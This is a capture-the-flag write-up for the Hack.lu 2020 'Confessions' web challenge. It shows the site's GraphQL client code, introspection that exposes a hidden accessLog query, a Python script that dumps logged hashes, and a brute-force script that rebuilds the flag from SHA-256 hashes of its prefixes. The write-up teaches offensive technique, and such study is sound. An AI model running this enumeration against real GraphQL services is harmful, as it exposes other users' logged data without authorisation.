Hack.lu CTF 2020: Confessions

October 10, 2020

Challenge

Prompt:

png

We are presented with a web page that let’s us post confessions. Basically we can enter a title and a message, and the sha256 hash of the message is reflected on the page:

png

Quick look at the source code reveals confessions.js. Let’s have a look.


// talk to the GraphQL endpoint
const gql = async (query, variables={}) => {
    let response = await fetch(‘/graphql’, {
        method: ‘POST’,
        headers: {
            ‘content-type’: ‘application/json’,
        },
        body: JSON.stringify({
            operationName: null,
            query,
            variables,
        }),
    });
    let json = await response.json();
    if (json.errors && json.errors.length) {
        throw json.errors;
    } else {
        return json.data;
    }
};

// some queries/mutations
const getConfession = async hash => gql(‘query Q($hash: String) { confession(hash: $hash) { title, hash } }’, { hash }).then(d => d.confession);
const getConfessionWithMessage = async id => gql(‘mutation Q($id: String) { confessionWithMessage(id: $id) { title, hash, message } }’, { id }).then(d => d.confessionWithMessage);
const addConfession = async (title, message) => gql(‘mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { id } }’, { title, message }).then(d => d.addConfession);
const previewHash = async (title, message) => gql(‘mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { hash } }’, { title, message }).then(d => d.addConfession);

// the important elements
const title = document.querySelector(‘#title’);
const message = document.querySelector(‘#message’);
const publish = document.querySelector(‘#publish’);
const preview = document.querySelector(‘#preview’);

// render a confession
const show = async confession => {
    if (confession) {
        preview.querySelector(‘.title’).textContent = confession.title || ‘<title>rsquo;;
        preview.querySelector(‘.hash’).textContent = confession.hash || ‘<hash>’;
        preview.querySelector(‘.message’).textContent = confession.message || ‘<message>’;
        preview.querySelector(‘.how-to-verify’).textContent = sha256(${JSON.stringify(confession.message || '')});
    } else {
        preview.innerHTML = ‘<em>Not found :(</em>’;
    }
};

// update the confession preview
const update = async () => {
    let { hash } = await previewHash(title.value, message.value);
    let confession = await getConfession(hash);
    await show({
        …confession,
        message: message.value,
    });
};
title.oninput = update;
message.oninput = update;

// publish a confession
publish.onclick = async () => {
    title.disabled = true;
    message.disabled = true;
    publish.disabled = true;

let { id } = await addConfession(title.value, message.value);
location.href = `#${id}`;
location.reload(); 
};

// show a confession when one is given in the location hash
if (location.hash) {
    let id = location.hash.slice(1);
    document.querySelector(‘#input’).remove();
    getConfessionWithMessage(id).then(show).catch(() => document.write(‘F’));
}

GraphQL Schema introspection

The above code reveals that GraphQL is used for storing and accessing confessions. There is a query, confession, as well as two mutations, confessionWithMessage and addConfession.

I wanted to further enumerate the GraphQL schema and see if there is anything else accessible to us. I did not have much experience with GraphQL prior to this challenge so this was a great learning opportunity.

I found this guide, https://moonhighway.com/five-introspection-queries and used some of the queries to see what I can learn about the GraphQL schema for this challenge.

First, let’s see if there are any other queries we can send: png

The query accessLog sticks out like a sore thumb. Let’s try to send an accessLog query:

png

Looks like we’re onto something here. We can see in the response a bunch of confessions and their hashes. The timestamps are not consistent with the time at which I was playing with the web app and sending my own trial ‘confessions’.

I stripped out all of the hashes, and sent a confession query with each of the hashes passed as arguments. This is the response I received:

png

Below is the script used to send accessLog query, strip out hashes, and send each one as an argument to a confession query.

import requests
import json

session = requests.Session()

url = ‘https://confessions.flu.xxx/graphql’

query = “”“
query Q{
    accessLog{
        name, timestamp, args
    }
}
”“”

full_query = {
    ‘operationName’: None,
    ‘query’: query,
    ‘variables’:{
        ‘hash’:‘827ade3254c72ae811201b418766d9a8802e91b029d95cc9de2f0169274aedd7’
    }
}
r = session.post(url, json=full_query)

response_json = json.loads(r.text)

print(‘Query: ’)
print(query)
print(‘************************************************’)

print(‘response: ’)
print(json.dumps(response_json, indent=2))
print(‘************************************************’)
print(‘————————————————’)
print()

hashes = []
for i in response_json[‘data’][‘accessLog’]:
    if ‘hash’ in i[‘args’]:
        hashes.append(i[‘args’].split(‘“:”’)[1].split(‘“}’)[0])

for h in hashes: print(h)

# send each hash

query = “”“
query Q($hash: String){
    confession(hash: $hash){
        title, hash, id, message
    }
}
”“”

for h in hashes:
    full_query = {
        ‘operationName’: None,
        ‘query’: query,
        ‘variables’:{
            ‘hash’:h
        }
    }

r = session.post(url, json=full_query)

response_json = json.loads(r.text)

print('hash: ')
print(h)
print('************************************************')

print('response: ')
print(json.dumps(response_json, indent=2))
print('************************************************')
print('------------------------------------------------')
print()

Each of these confessions had a title of Flag. But why are there so many?

I entered the first couple of hashes into CrackStation.

The first hash was found to be f

Next one was fl

And the subsequent hashes started spelling out flag{

Cracking the hashes by iteratively bruteforcing

I could not crack any more hashes on CrackStation, but now I could see a clear path to the flag:

  • iterate through all ascii characters
  • add this character to the already known flag, and calculate sha256 sum
  • see if calculated hash is in the list of exposed hashes from accessLog query
  • if it is, add that character to the running flag
  • iterate until flag is complete

Below is my script that does this:

import hashlib
import string

with open(‘hashes.txt’) as f:
    h = f.read()

# get list of hashes from hashes.txt

hashes = h.split(‘\n’)

flag = []

while len(flag) < 28:
    for c in string.printable:
        temp = ‘’.join(flag) + c
        hashed = hashlib.sha256(temp.encode()).hexdigest()
        if hashed in hashes:
            flag.append(c);
            print(‘’.join(flag))

Flag

png